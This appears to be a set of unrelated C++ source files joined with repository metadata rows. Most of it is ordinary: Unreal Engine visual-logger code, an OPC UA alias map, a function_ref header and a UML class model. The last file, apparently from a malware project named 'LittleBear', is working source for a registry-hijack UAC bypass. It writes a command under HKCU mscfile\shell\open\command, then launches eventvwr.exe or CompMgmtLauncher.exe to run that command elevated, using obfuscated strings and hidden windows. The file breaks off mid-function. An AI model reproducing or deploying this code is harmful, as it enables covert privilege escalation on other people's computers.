FVisualLoggerDBRow& DBRow = FVisualLoggerDatabase::Get().GetRowByName(RowName);
HelperActor->OnItemSelectionChanged(DBRow, DBRow.GetCurrentItemIndex());
}
}
}
void SVisualLogger::OnObjectSelectionChanged(const TArray<FName>& RowNames)
{
const float ScrubTime = FLogVisualizer::Get().GetTimeSliderController().Get()->GetTimeSliderArgs().ScrubPosition.Get();
for (auto RowName : RowNames)
{
FVisualLoggerDBRow& DBRow = FVisualLoggerDatabase::Get().GetRowByName(RowName);
if (DBRow.GetCurrentItemIndex() == INDEX_NONE)
{
DBRow.MoveTo(DBRow.GetClosestItem(ScrubTime, ScrubTime));
}
}
}
void SVisualLogger::OnItemsSelectionChanged(const FVisualLoggerDBRow& ChangedRow, int32 SelectedItemIndex)
{
const TMap<FName, FVisualLogExtensionInterface*>& AllExtensions = FVisualLogger::Get().GetAllExtensions();
for (auto Iterator = AllExtensions.CreateConstIterator(); Iterator; ++Iterator)
{
FVisualLogExtensionInterface* Extension = (*Iterator).Value;
if (Extension != NULL)
{
Extension->OnItemsSelectionChanged(FVisualLoggerEditorInterface::Get());
}
}
}
void SVisualLogger::OnFiltersChanged()
{
const uint32 StartCycles = FPlatformTime::Cycles();
ULogVisualizerSettings* Settings = ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>();
const FString QuickSearchStrng = FVisualLoggerFilters::Get().GetSearchString();
TArray<TFuture<void> > AllFutures;
for (auto Iterator = FVisualLoggerDatabase::Get().GetRowIterator(); Iterator; ++Iterator)
{
FVisualLoggerDBRow* DBRow = &(*Iterator);
AllFutures.Add(
Async<void>(EAsyncExecution::TaskGraph, [this, DBRow]()
{
const TArray<FVisualLogDevice::FVisualLogEntryItem>& Entries = DBRow->GetItems();
for (int32 Index = 0; Index < Entries.Num(); ++Index)
{
UpdateVisibilityForEntry(*DBRow, Index);
}
}
));
}
bool bAllFuturesReady = false;
do
{
bAllFuturesReady = true;
for (TFuture<void>& CurrentFuture : AllFutures)
{
bAllFuturesReady &= CurrentFuture.IsReady();
if (bAllFuturesReady == false)
{
break;
}
}
if (bAllFuturesReady == false)
{
FPlatformProcess::Sleep(0.01);
}
} while (bAllFuturesReady != true);
for (auto Iterator = FVisualLoggerDatabase::Get().GetRowIterator(); Iterator; ++Iterator)
{
FVisualLoggerDBRow& DBRow = *Iterator;
FVisualLoggerDatabase::Get().SetRowVisibility(DBRow.GetOwnerName(), DBRow.GetNumberOfHiddenItems() != DBRow.GetItems().Num());
}
const uint32 EndCycles = FPlatformTime::Cycles();
const int32 BlockingCycles = int32(FPlatformTime::Cycles() - StartCycles);
{
const TArray<FName>& SelectedRows = FVisualLoggerDatabase::Get().GetSelectedRows();
const float ScrubTime = FLogVisualizer::Get().GetTimeSliderController()->GetTimeSliderArgs().ScrubPosition.Get();
{
for (auto RowName : SelectedRows)
{
auto& DBRow = FVisualLoggerDatabase::Get().GetRowByName(RowName);
const int32 ClosestItem = DBRow.GetClosestItem(ScrubTime, ScrubTime);
const TArray<FVisualLogDevice::FVisualLogEntryItem>& Items = DBRow.GetItems();
if (Items.IsValidIndex(ClosestItem) && Items[ClosestItem].Entry.TimeStamp <= ScrubTime)
{
DBRow.MoveTo(ClosestItem);
}
}
}
}
UE_LOG(LogVisualLogger, Display, TEXT("SVisualLogger::OnFiltersChanged: %5.2fms"), FPlatformTime::ToMilliseconds(BlockingCycles));
}
void SVisualLogger::OnFiltersSearchChanged(const FText& Filter)
{
const uint32 StartCycles = FPlatformTime::Cycles();
FVisualLoggerFilters::Get().SetSearchString(Filter.ToString());
ULogVisualizerSettings* Settings = ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>();
const FString QuickSearchStrng = FVisualLoggerFilters::Get().GetSearchString();
TArray<TFuture<void> > AllFutures;
for (auto Iterator = FVisualLoggerDatabase::Get().GetRowIterator(); Iterator; ++Iterator)
{
FVisualLoggerDBRow* DBRow = &(*Iterator);
AllFutures.Add(
Async<void>(EAsyncExecution::TaskGraph, [this, DBRow]()
{
const TArray<FVisualLogDevice::FVisualLogEntryItem>& Entries = DBRow->GetItems();
for (int32 Index = 0; Index < Entries.Num(); ++Index)
{
UpdateVisibilityForEntry(*DBRow, Index);
}
}
)
);
}
bool bAllFuturesReady = false;
do
{
bAllFuturesReady = true;
for (TFuture<void>& CurrentFuture : AllFutures)
{
bAllFuturesReady &= CurrentFuture.IsReady();
if (bAllFuturesReady == false)
{
break;
}
}
if (bAllFuturesReady == false)
{
FPlatformProcess::Sleep(0.01);
}
} while (bAllFuturesReady != true);
for (auto Iterator = FVisualLoggerDatabase::Get().GetRowIterator(); Iterator; ++Iterator)
{
FVisualLoggerDBRow& DBRow = *Iterator;
FVisualLoggerDatabase::Get().SetRowVisibility(DBRow.GetOwnerName(), DBRow.GetNumberOfHiddenItems() != DBRow.GetItems().Num());
}
if (LogsList.IsValid())
{
// it depends on rows visibility so it have to be called here, manually after changes to rows visibilities
LogsList->OnFiltersSearchChanged(Filter);
}
if (VisualLoggerCanvasRenderer.IsValid())
{
VisualLoggerCanvasRenderer->DirtyCachedData();
}
const uint32 EndCycles = FPlatformTime::Cycles();
const int32 BlockingCycles = int32(FPlatformTime::Cycles() - StartCycles);
UE_LOG(LogVisualLogger, Display, TEXT("SVisualLogger::OnFiltersSearchChanged: %5.2fms"), FPlatformTime::ToMilliseconds(BlockingCycles));
}
void SVisualLogger::OnNewItemHandler(const FVisualLoggerDBRow& DBRow, int32 ItemIndex)
{
UpdateVisibilityForEntry(DBRow, ItemIndex);
}
void SVisualLogger::UpdateVisibilityForEntry(const FVisualLoggerDBRow& DBRow, int32 ItemIndex)
{
ULogVisualizerSettings* Settings = ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>();
const FVisualLogDevice::FVisualLogEntryItem& CurrentEntry = DBRow.GetItems()[ItemIndex];
FString SearchString = FVisualLoggerFilters::Get().GetSearchString();
TArray<FVisualLoggerCategoryVerbosityPair> OutCategories;
FVisualLoggerHelpers::GetCategories(CurrentEntry.Entry, OutCategories);
bool bHasValidCategories = false;
for (FVisualLoggerCategoryVerbosityPair& CategoryPair : OutCategories)
{
if (FVisualLoggerFilters::Get().MatchCategoryFilters(CategoryPair.CategoryName.ToString(), CategoryPair.Verbosity))
{
bHasValidCategories = true;
break;
}
}
if (Settings->bSearchInsideLogs && bHasValidCategories && SearchString.Len() > 0)
{
bool bMatchSearchString = false;
for (const FVisualLogLine& CurrentLine : CurrentEntry.Entry.LogLines)
{
if (CurrentLine.Line.Find(SearchString) != INDEX_NONE || CurrentLine.Category.ToString().Find(SearchString) != INDEX_NONE)
{
bMatchSearchString = true;
break;
}
}
if (!bMatchSearchString)
{
for (const FVisualLogEvent& CurrentEvent : CurrentEntry.Entry.Events)
{
if (CurrentEvent.Name.Find(SearchString) != INDEX_NONE)
{
bMatchSearchString = true;
break;
}
}
}
FVisualLoggerDatabase::Get().GetRowByName(DBRow.GetOwnerName()).SetItemVisibility(ItemIndex, bMatchSearchString);
}
else
{
FVisualLoggerDatabase::Get().GetRowByName(DBRow.GetOwnerName()).SetItemVisibility(ItemIndex, bHasValidCategories);
}
}
void SVisualLogger::OnLogLineSelectionChanged(TSharedPtr<struct FLogEntryItem> SelectedItem, int64 UserData, FName TagName)
{
const TMap<FName, FVisualLogExtensionInterface*>& AllExtensions = FVisualLogger::Get().GetAllExtensions();
for (auto Iterator = AllExtensions.CreateConstIterator(); Iterator; ++Iterator)
{
FVisualLogExtensionInterface* Extension = (*Iterator).Value;
if (Extension != NULL)
{
Extension->OnLogLineSelectionChanged(FVisualLoggerEditorInterface::Get(), SelectedItem, UserData);
}
}
}
void SVisualLogger::OnScrubPositionChanged(float NewScrubPosition, bool bScrubbing)
{
const TArray<FName> &SelectedRows = FVisualLoggerDatabase::Get().GetSelectedRows();
const float ScrubTime = FLogVisualizer::Get().GetTimeSliderController()->GetTimeSliderArgs().ScrubPosition.Get();
for (auto RowName : SelectedRows)
{
auto& DBRow = FVisualLoggerDatabase::Get().GetRowByName(RowName);
const int32 ClosestItem = SelectedRows.Num() > 1 ? DBRow.GetClosestItem(NewScrubPosition, ScrubTime) : DBRow.GetClosestItem(NewScrubPosition);
const TArray<FVisualLogDevice::FVisualLogEntryItem>& Items = DBRow.GetItems();
if (Items.IsValidIndex(ClosestItem) && Items[ClosestItem].Entry.TimeStamp <= NewScrubPosition)
{
DBRow.MoveTo(ClosestItem);
}
}
}
FReply SVisualLogger::OnKeyboaedRedirection(const FGeometry& MyGeometry, const FKeyEvent& InKeyEvent)
{
FReply ReturnValue = FReply::Unhandled();
const TArray<FName>& SelectedRows = FVisualLoggerDatabase::Get().GetSelectedRows();
if (SelectedRows.Num() == 0)
{
return ReturnValue;
}
// find time to move by
const FKey Key = InKeyEvent.GetKey();
if (Key == EKeys::Left || Key == EKeys::Right)
{
const float ScrubTime = FLogVisualizer::Get().GetTimeSliderController()->GetTimeSliderArgs().ScrubPosition.Get();
float NewTimeToSet = ScrubTime;
float BestTimeDifference = FLT_MAX;
const int32 MoveDist = InKeyEvent.IsLeftControlDown() ? InKeyEvent.IsLeftShiftDown() ? 20 : 10 : 1;
for (auto RowName : SelectedRows)
{
const FVisualLoggerDBRow& DBRow = FVisualLoggerDatabase::Get().GetRowByName(RowName);
const int32 CurrentItemIndex = DBRow.GetCurrentItemIndex();
if (CurrentItemIndex == INDEX_NONE)
{
continue;
}
if (Key == EKeys::Right)
{
float TimeDifference = DBRow.GetCurrentItem().Entry.TimeStamp - ScrubTime;
if (TimeDifference > 0 && FMath::Abs(TimeDifference) < FMath::Abs(BestTimeDifference))
{
BestTimeDifference = TimeDifference;
NewTimeToSet = DBRow.GetCurrentItem().Entry.TimeStamp;
}
const int32 NextItemIndex = FLogVisualizer::Get().GetNextItem(RowName, MoveDist);
TimeDifference = DBRow.GetItems()[NextItemIndex].Entry.TimeStamp - ScrubTime;
if (TimeDifference > 0 && FMath::Abs(TimeDifference) < FMath::Abs(BestTimeDifference))
{
BestTimeDifference = TimeDifference;
NewTimeToSet = DBRow.GetItems()[NextItemIndex].Entry.TimeStamp;
}
}
else if (Key == EKeys::Left)
{
float TimeDifference = DBRow.GetCurrentItem().Entry.TimeStamp - ScrubTime;
if (TimeDifference < 0 && FMath::Abs(TimeDifference) < FMath::Abs(BestTimeDifference))
{
BestTimeDifference = TimeDifference;
NewTimeToSet = DBRow.GetCurrentItem().Entry.TimeStamp;
}
const int32 PrevItemIndex = FLogVisualizer::Get().GetPreviousItem(RowName, MoveDist);
TimeDifference = DBRow.GetItems()[PrevItemIndex].Entry.TimeStamp - ScrubTime;
if (TimeDifference < 0 && FMath::Abs(TimeDifference) > 0 && FMath::Abs(TimeDifference) < FMath::Abs(BestTimeDifference))
{
BestTimeDifference = TimeDifference;
NewTimeToSet = DBRow.GetItems()[PrevItemIndex].Entry.TimeStamp;
}
}
}
FLogVisualizer::Get().GetTimeSliderController()->CommitScrubPosition(NewTimeToSet, false);
ReturnValue = FReply::Handled();
}
FName OwnerName = SelectedRows[SelectedRows.Num() - 1];
const FVisualLoggerDBRow& DBRow = FVisualLoggerDatabase::Get().GetRowByName(OwnerName);
if (DBRow.GetCurrentItemIndex() != INDEX_NONE)
{
if (Key == EKeys::Home)
{
FLogVisualizer::Get().GotoFirstItem(OwnerName);
ReturnValue = FReply::Handled();
}
else if (Key == EKeys::End)
{
FLogVisualizer::Get().GotoLastItem(OwnerName);
ReturnValue = FReply::Handled();
}
else if (Key == EKeys::Enter)
{
FLogVisualizer::Get().UpdateCameraPosition(OwnerName, DBRow.GetCurrentItemIndex());
ReturnValue = FReply::Handled();
}
}
return ReturnValue;
}
#undef LOCTEXT_NAMESPACE
| 34.66787 | 338 | 0.753853 | windystrife |
4ea6fef8b34e2ba4255c5e6857d5400647e80b6e | 1,865 | cpp | C++ | src/OpcUaStackServer/NodeSet/NodeSetAlias.cpp | gianricardo/OpcUaStack | ccdef574175ffe8b7e82b886abc5e5403968b280 | [
"Apache-2.0"
] | 108 | 2018-10-08T17:03:32.000Z | 2022-03-21T00:52:26.000Z | src/OpcUaStackServer/NodeSet/NodeSetAlias.cpp | gianricardo/OpcUaStack | ccdef574175ffe8b7e82b886abc5e5403968b280 | [
"Apache-2.0"
] | 287 | 2018-09-18T14:59:12.000Z | 2022-01-13T12:28:23.000Z | src/OpcUaStackServer/NodeSet/NodeSetAlias.cpp | gianricardo/OpcUaStack | ccdef574175ffe8b7e82b886abc5e5403968b280 | [
"Apache-2.0"
] | 32 | 2018-10-19T14:35:03.000Z | 2021-11-12T09:36:46.000Z | /*
Copyright 2015 Kai Huebl (kai@huebl-sgh.de)
Lizenziert gemäß Apache Licence Version 2.0 (die „Lizenz“); Nutzung dieser
Datei nur in Übereinstimmung mit der Lizenz erlaubt.
Eine Kopie der Lizenz erhalten Sie auf http://www.apache.org/licenses/LICENSE-2.0.
Sofern nicht gemäß geltendem Recht vorgeschrieben oder schriftlich vereinbart,
erfolgt die Bereitstellung der im Rahmen der Lizenz verbreiteten Software OHNE
GEWÄHR ODER VORBEHALTE – ganz gleich, ob ausdrücklich oder stillschweigend.
Informationen über die jeweiligen Bedingungen für Genehmigungen und Einschränkungen
im Rahmen der Lizenz finden Sie in der Lizenz.
Autor: Kai Huebl (kai@huebl-sgh.de)
*/
#include "OpcUaStackServer/NodeSet/NodeSetAlias.h"
#include "OpcUaStackCore/BuildInTypes/OpcUaIdentifier.h"
using namespace OpcUaStackCore;
namespace OpcUaStackServer
{
NodeSetAlias::NodeSetAlias(void)
{
}
NodeSetAlias::~NodeSetAlias(void)
{
aliasMap_.clear();
}
bool
NodeSetAlias::insert(const std::string& aliasString, OpcUaNodeId& nodeId)
{
AliasMap::iterator it;
it = aliasMap_.find(aliasString);
if (it != aliasMap_.end()) {
return false;
}
aliasMap_.insert(std::make_pair(aliasString, nodeId));
return true;
}
bool
NodeSetAlias::map(const std::string& aliasString, OpcUaNodeId& nodeId)
{
AliasMap::iterator it;
it = aliasMap_.find(aliasString);
if (it == aliasMap_.end()) {
return false;
}
nodeId = it->second;
return true;
}
bool
NodeSetAlias::encodeAliases(boost::property_tree::ptree& ptree)
{
AliasMap::iterator it;
for (it = aliasMap_.begin(); it != aliasMap_.end(); it++) {
boost::property_tree::ptree pTreeAlias;
pTreeAlias.put("<xmlattr>.Alias", it->first);
pTreeAlias.put_value(it->second.toString());
ptree.add_child("Aliases.Alias", pTreeAlias);
}
return true;
}
}
| 24.539474 | 86 | 0.727078 | gianricardo |
4eab81d30d8d15441082a57dadd4bfce25ba3016 | 4,192 | hh | C++ | aeh/src/function_ref.hh | asielorz/aeh | 6dbcce0970a558fb7f164b8880a3e834f9f6c8c9 | [
"MIT"
] | null | null | null | aeh/src/function_ref.hh | asielorz/aeh | 6dbcce0970a558fb7f164b8880a3e834f9f6c8c9 | [
"MIT"
] | null | null | null | aeh/src/function_ref.hh | asielorz/aeh | 6dbcce0970a558fb7f164b8880a3e834f9f6c8c9 | [
"MIT"
] | null | null | null | #pragma once
#include "function_ptr.hh"
#include <functional>
/*
* Non owning polymorphic callable object wrapper.
* Trivially copyable and destructible.
*
* template <typename Ret, typename ... Args>
* struct function_ref<Ret(Args...) noexcept> // Noexcept is optional. Will make operator () noexcept
* {
* constexpr function_ref() noexcept = default;
* constexpr function_ref(std::nullptr_t) noexcept;
*
* template <typename Callable>
* constexpr function_ref(Callable & c) noexcept;
*
* template <auto F>
* static constexpr function_ref to_constant;
*
* [[nodiscard]] constexpr auto has_value() const noexcept -> bool;
* constexpr explicit operator bool() const noexcept;
*
* [[nodiscard]] constexpr auto operator == (function_ref_base other) const noexcept -> bool;
* [[nodiscard]] constexpr auto operator != (function_ref_base other) const noexcept -> bool;
*
* constexpr Ret operator () (Args ... args) const; //noexcept if function_ref is given a noexcept function type
* };
*/
namespace aeh
{
template <typename T>
struct function_ref;
namespace detail
{
template <typename Caller>
struct function_ref_base
{
constexpr function_ref_base() noexcept = default;
constexpr function_ref_base(void * context_, Caller caller_) noexcept : context(context_), caller(caller_) {}
[[nodiscard]] constexpr auto has_value() const noexcept -> bool;
constexpr explicit operator bool() const noexcept;
[[nodiscard]] constexpr auto operator == (function_ref_base other) const noexcept -> bool;
[[nodiscard]] constexpr auto operator != (function_ref_base other) const noexcept -> bool;
protected:
void * context = nullptr;
Caller caller = nullptr;
};
} // namespace detail
template <typename Ret, typename ... Args>
struct function_ref<Ret(Args...)> final : public detail::function_ref_base<function_ptr<Ret(void *, Args...)>>
{
constexpr function_ref() noexcept = default;
constexpr function_ref(std::nullptr_t) noexcept {};
template <typename Callable, typename = std::enable_if_t<std::is_invocable_r_v<Ret, Callable &, Args...>>>
constexpr function_ref(Callable & c) noexcept;
template <typename Callable, typename = std::enable_if_t<std::is_invocable_r_v<Ret, Callable const &, Args...>>>
constexpr function_ref(Callable const & c) noexcept;
template <auto F>
static constexpr function_ref to_constant = []()
{
function_ref f;
f.caller = [](void *, Args ... args) -> Ret { return std::invoke(F, args...); };
return f;
}();
constexpr Ret operator () (Args ... args) const;
private:
using Base = detail::function_ref_base<function_ptr<Ret(void *, Args...)>>;
};
template <typename Ret, typename ... Args>
struct function_ref<Ret(Args...) noexcept> final : public detail::function_ref_base<function_ptr<Ret(void *, Args...) noexcept>>
{
constexpr function_ref() noexcept = default;
constexpr function_ref(std::nullptr_t) noexcept {};
template <typename Callable, typename = std::enable_if_t<std::is_nothrow_invocable_r_v<Ret, Callable &, Args...>>>
constexpr function_ref(Callable & c) noexcept;
template <typename Callable, typename = std::enable_if_t<std::is_nothrow_invocable_r_v<Ret, Callable const &, Args...>>>
constexpr function_ref(Callable const & c) noexcept;
//template <auto F>
//static constexpr function_ref to_constant = []()
//{
// function_ref f;
// f.caller = [](void *, Args ... args) noexcept -> Ret { return std::invoke(F, args...); };
// return f;
//}();
constexpr Ret operator () (Args ... args) const noexcept;
private:
using Base = detail::function_ref_base<function_ptr<Ret(void *, Args...)>>;
};
template <typename F>
[[nodiscard]] constexpr auto operator == (function_ref<F> f, std::nullptr_t) noexcept -> bool;
template <typename F>
[[nodiscard]] constexpr auto operator != (function_ref<F> f, std::nullptr_t) noexcept -> bool;
template <typename F>
[[nodiscard]] constexpr auto operator == (std::nullptr_t, function_ref<F> f) noexcept -> bool;
template <typename F>
[[nodiscard]] constexpr auto operator != (std::nullptr_t, function_ref<F> f) noexcept -> bool;
} // namespace aeh
#include "function_ref.inl"
| 33.536 | 129 | 0.706584 | asielorz |
4eac4c67a657f287e70ee0a72609ef045c120c35 | 3,778 | cpp | C++ | models/Class.cpp | AvaN0x/IUT-UMLDesigner | aa03d0b7406bcb6c06dc24ba2f853393de3b3233 | [
"MIT"
] | 2 | 2021-12-15T14:52:53.000Z | 2021-12-16T20:12:52.000Z | models/Class.cpp | AvaN0x/IUT-UMLDesigner | aa03d0b7406bcb6c06dc24ba2f853393de3b3233 | [
"MIT"
] | null | null | null | models/Class.cpp | AvaN0x/IUT-UMLDesigner | aa03d0b7406bcb6c06dc24ba2f853393de3b3233 | [
"MIT"
] | null | null | null | #include <cstdlib>
#include <ostream>
#include "List.hpp"
#include "Class.hpp"
#include "Attribute.hpp"
#include "Method.hpp"
namespace iut_cpp
{
Class::Class(Class const &c) : _javaWrapper(nullptr),
_name(c._name),
_templates(c._templates),
_attributes(c._attributes),
_isPublic(c._isPublic),
_isAbstract(c._isAbstract),
_methods(c._methods)
{
//constructor
_javaWrapper = new ClassJavaWrapper(this);
}
Class::Class(std::string const &name, std::string const &templates, iut_cpp::List<iut_cpp::Attribute> const &attributes, bool isPublic, bool isAbstract, iut_cpp::List<iut_cpp::Method> methods) : _javaWrapper(nullptr),
_name(name),
_templates(templates),
_attributes(attributes),
_isPublic(isPublic),
_isAbstract(isAbstract),
_methods(methods)
{
//constructor
_javaWrapper = new ClassJavaWrapper(this);
}
Class::~Class()
{
delete _javaWrapper;
}
Class &Class::operator=(Class const &c)
{
delete _javaWrapper;
_javaWrapper = new ClassJavaWrapper(this);
_name = c._name;
_templates = c._templates;
_attributes = c._attributes;
_isPublic = c._isPublic;
_isAbstract = c._isAbstract;
_methods = c._methods;
return *this;
}
ClassJavaWrapper::ClassJavaWrapper(Class *c) : _class(c)
{
}
void ClassJavaWrapper::print(std::ostream &stream) const
{
stream << (_class->_isPublic ? "public" : "private")
<< ' ';
if (_class->_isAbstract)
stream << "abstract ";
stream << "class " << _class->_name;
if (!_class->_templates.empty())
stream << '<' << _class->_templates << '>';
stream << " {" << std::endl;
for (auto it = _class->_attributes.begin(); it != _class->_attributes.end(); ++it)
stream << it->toJava();
stream << std::endl;
for (auto it = _class->_methods.begin(); it != _class->_methods.end(); ++it)
stream << it->toJava() << std::endl;
stream << '}' << std::endl;
}
std::string Class::toString()
{
std::string string = "";
if (_isAbstract)
string += "<<abstract>> ";
string += _name;
if (!_templates.empty())
string += '<' + _templates + '>';
return string;
}
} | 39.354167 | 223 | 0.365802 | AvaN0x |
4eadd89f3f5500004b3f5a1acf6ffe38d21b4262 | 14,124 | cpp | C++ | LittleBearDllNew/BypassUacRegistry.cpp | satadriver/LittleBear | ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5 | [
"Apache-2.0"
] | null | null | null | LittleBearDllNew/BypassUacRegistry.cpp | satadriver/LittleBear | ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5 | [
"Apache-2.0"
] | null | null | null | LittleBearDllNew/BypassUacRegistry.cpp | satadriver/LittleBear | ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5 | [
"Apache-2.0"
] | null | null | null | #include <windows.h>
#include "PublicVar.h"
#include "BypassUacRegistry.h"
//http://www.freebuf.com/sectool/114592.html
//http://bbs.pediy.com/thread-208717.htm
//http://blog.csdn.net/qq_27446553/article/details/52610365?locationNum=7
//http://www.freebuf.com/articles/system/116611.html
typedef VOID (WINAPI * PFN_GetNativeSystemInfo)(OUT LPSYSTEM_INFO);
typedef BOOL (WINAPI * PFN_Wow64DisableWow64FsRedirection)(OUT PVOID*);
typedef BOOL (WINAPI * PFN_Wow64RevertWow64FsRedirection)(OUT PVOID);
BOOL Is64System()
{
SYSTEM_INFO si = {0};
char szGetNativeSystemInfo[] = {'G','e','t','N','a','t','i','v','e','S','y','s','t','e','m','I','n','f','o',0};
PFN_GetNativeSystemInfo pfnGetNativeSystemInfo = (PFN_GetNativeSystemInfo)lpGetProcAddress(lpDllKernel32, szGetNativeSystemInfo);
if (pfnGetNativeSystemInfo)
{
pfnGetNativeSystemInfo(&si);
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
{
return TRUE;
}
}
return FALSE;
}
BOOL SetRegKeyStrVal(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpData)
{
HKEY hRoot = NULL;
DWORD dwDisposition = 0;
DWORD cbData = 0;
DWORD dwRet = 0;
REGSAM samDesired = KEY_ALL_ACCESS;
BYTE szBuffer[MAX_PATH] = {0};
CHAR szSysDir[MAX_PATH] = {0};
CHAR szCommand[MAX_PATH] = {0};
if (Is64System())
{
samDesired |= KEY_WOW64_64KEY;
}
if ((lpRegCreateKeyExA(hKey, lpSubKey, 0, NULL, 0, samDesired,NULL, &hRoot,&dwDisposition)) != ERROR_SUCCESS)
{
return FALSE;
}
dwRet = lpRegQueryValueExA( hRoot,
NULL,
NULL,
NULL,
szBuffer,
&cbData );
if (dwRet == ERROR_SUCCESS || dwRet == ERROR_MORE_DATA)
{
lpRegDeleteKeyA(hKey,lpSubKey);
lpRegCloseKey(hRoot);
if ((lpRegCreateKeyExA(hKey, lpSubKey, 0, NULL, 0, samDesired,NULL, &hRoot,&dwDisposition)) != ERROR_SUCCESS)
{
return FALSE;
}
}
if (lpRegSetValueExA(hRoot,NULL,0,REG_SZ, (BYTE *)lpData,lplstrlenA((char*)lpData)))
{
return FALSE;
}
if (lpRegCloseKey(hRoot))
{
return FALSE;
}
return TRUE;
}
BOOL DeleteRegKey(HKEY hKey,LPCSTR lpSubKey)
{
HKEY hRoot = NULL;
DWORD dwDisposition = 0;
if (lpRegCreateKeyExA(HKEY_CURRENT_USER, lpSubKey, 0, NULL,0,KEY_ALL_ACCESS,NULL,&hRoot,&dwDisposition) != ERROR_SUCCESS)
return FALSE;
if (lpRegDeleteKeyA(hKey,lpSubKey) != ERROR_SUCCESS)
return FALSE;
if (lpRegCloseKey(hRoot) != ERROR_SUCCESS)
return FALSE;
return TRUE;
}
int RunCmdGetResultWithoutBlack(char * strCommend,char * szResult,int iSize)
{
HANDLE hRead = 0;
HANDLE hWrite = 0;
SECURITY_ATTRIBUTES stSa;
stSa.nLength = sizeof(SECURITY_ATTRIBUTES);
stSa.lpSecurityDescriptor = NULL;
stSa.bInheritHandle = TRUE;
int iRet = lpCreatePipe(&hRead,&hWrite,&stSa,0);
if (iRet == 0)
{
return FALSE;
}
STARTUPINFOA stSi = {0};
stSi.cb = sizeof(STARTUPINFOA);
lpGetStartupInfoA(&stSi);
stSi.hStdInput = hRead;
stSi.hStdError = hWrite;
stSi.hStdOutput = hWrite;
stSi.wShowWindow = SW_HIDE;
stSi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
PROCESS_INFORMATION stPi = {0};
char szCmdLine[MAX_PATH];
lpwsprintfA(szCmdLine,"cmd /C %s",strCommend);
iRet = lpCreateProcessA(NULL,szCmdLine,NULL,NULL,TRUE,NULL,NULL,NULL,&stSi,&stPi);
if(iRet == 0)
{
return FALSE;
}
lpCloseHandle(hWrite);
DWORD dwCnt;
char * ptrResult = szResult;
while (TRUE)
{
iRet = lpReadFile(hRead,ptrResult,iSize,&dwCnt,NULL);
if (iRet == NULL)
break;
ptrResult += dwCnt;
}
lpCloseHandle(hRead);
return TRUE;
}
#define WAIT_SYSTEM_TIME_LIMIT 30000
//call function must with "" include param and exe,and here the command must do this so with a new ""
int BypassUac(CHAR* lpData, DWORD dwIndex,char * szParam,int iFlag)
{
char szShowInfo[1024];
lpwsprintfA(szShowInfo,"BypassUac parameters---exe is:%s,index is:%u,exe parameter is:%s\r\n",lpData,dwIndex,szParam);
WriteLittleBearLog(szShowInfo);
CHAR szSysDir[MAX_PATH] = {0};
CHAR szSysCmd[MAX_PATH*4] = {0};
CHAR szData[MAX_PATH*4] = {0};
CONST CHAR lpSubKey[] = {'S','o','f','t','w','a','r','e','\\','C','l','a','s','s','e','s',
'\\','m','s','c','f','i','l','e','\\','s','h','e','l','l','\\','o','p','e','n','\\','c','o','m','m','a','n','d',0};
int iRet = lpGetSystemDirectoryA(szSysDir, MAX_PATH);
char szOutputFileName[MAX_PATH];
iRet = ModifyModuleFileName(szOutputFileName,CMD_OUTPUT_FILE_NAME);
char szDataFormat[MAX_PATH] = {0};
if (iFlag)
{
char szDataFormatExe[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',
' ','\"','%','s',' ','%','s','\"',
//' ','\"','>','>','%','s','\"',
0};
lplstrcpyA(szDataFormat,szDataFormatExe);
}
else
{
char szDataFormatCmd[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',
' ','%','s',' ','%','s',
//' ','\"','>','>','%','s','\"',
0};
lplstrcpyA(szDataFormat,szDataFormatCmd);
}
lpwsprintfA(szData, szDataFormat, szSysDir, lpData,szParam);
lpwsprintfA(szShowInfo,"BypassUac key value is:%s\r\n",szData);
WriteLittleBearLog(szShowInfo);
iRet = SetRegKeyStrVal(HKEY_CURRENT_USER , lpSubKey, szData);
if (iRet == 0)
{
WriteLittleBearLog("BypassUac SetRegKeyStrVal error\r\n");
return FALSE;
}
char szSysCmdFormat[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',' ','%','s','\\','%','s',0};
char szEventVwr[] = {'E','v','e','n','t','V','w','r','.','e','x','e',0};
char szCompMgmtLauncher[] = {'C','o','m','p','M','g','m','t','L','a','u','n','c','h','e','r','.','e','x','e',0};
switch(dwIndex)
{
case 0:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szCompMgmtLauncher);
break;
case 1:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szEventVwr);
break;
default:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szEventVwr);
break;
}
SECURITY_ATTRIBUTES stSa = {0};
stSa.nLength = sizeof(SECURITY_ATTRIBUTES);
stSa.lpSecurityDescriptor = NULL;
stSa.bInheritHandle = TRUE;
HANDLE hRead = 0;
HANDLE hWrite = 0;
iRet = lpCreatePipe(&hRead,&hWrite,&stSa,0);
if (iRet == 0)
{
WriteLittleBearLog("BypassUac lpCreatePipe error\r\n");
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
STARTUPINFOA stSi = {0};
PROCESS_INFORMATION stPi = {0};
iRet = lpGetStartupInfoA(&stSi);
stSi.cb = sizeof(STARTUPINFOA);
stSi.dwX = 0;
stSi.dwY = 0;
stSi.hStdInput = hRead;
stSi.hStdError = hWrite;
stSi.hStdOutput = hWrite;
stSi.wShowWindow = SW_HIDE;
stSi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES | STARTF_USESIZE | STARTF_USEPOSITION;
iRet = lpCreateProcessA(0,szSysCmd,0,0,0,CREATE_DEFAULT_ERROR_MODE,0,0,&stSi,&stPi);
if (iRet )
{
lpCloseHandle(stPi.hThread);
iRet = lpWaitForSingleObject(stPi.hProcess,INFINITE);
if (iRet == WAIT_OBJECT_0)
{
DWORD dwExitCode = 0;
lpGetExitCodeProcess(stPi.hProcess, &dwExitCode);
}
